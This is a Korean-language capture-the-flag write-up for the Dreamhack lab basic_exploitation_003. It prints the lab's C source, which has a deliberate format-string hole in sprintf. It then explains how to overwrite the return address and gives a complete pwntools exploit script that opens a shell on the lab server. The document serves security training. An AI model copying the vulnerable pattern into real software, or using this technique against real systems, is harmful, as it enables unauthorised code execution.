

NX만 적용되어 있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
basic_exploitation_002와 마찬가지로 get_shell 함수가 존재합니다.
read에서 heap_buf를 받은 후 이를 그대로 sprintf의 인자로 사용하기 때문에 포맷 스트링 버그를 사용할 수 있을 것 같습니다.
여기서 sprintf 함수에 대해 간단히 알아보겠습니다.
int sprintf(char *str, const char *format, ...);
format에 있는 문자열을 포맷 스트링 형식에 맞춰서 str에 저장하는 함수입니다.
%[n]c를 활용해서 원하는 길이의 문자열을 sprintf 함수를 통해 stack_buf에 전달할 수 있습니다. Canary가 적용되어 있지 않으므로 스택 버퍼 오버플로우를 통해 return address를 get_shell의 주소로 덮으면 문제를 해결할 수 있을 것 같습니다.

stack_buf의 위치는 ebp-0x98이므로 ret와의 거리는 0x98 + 0x4 = 156입니다. 따라서 stack_buf에 넣어야 하는 값은 b'A'*156 + p32(get_shell)입니다.
길이가 156인 더미 데이터는 포맷 스트링으로 %156c이므로 이를 활용해 heap_buf를 구성해 전달하면 해결할 수 있습니다.
아래는 완성된 코드입니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 12895)
e = ELF("./basic_exploitation_003")
get_shell = e.symbols["get_shell"]
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()
실행하면 셸을 얻을 수 있습니다.
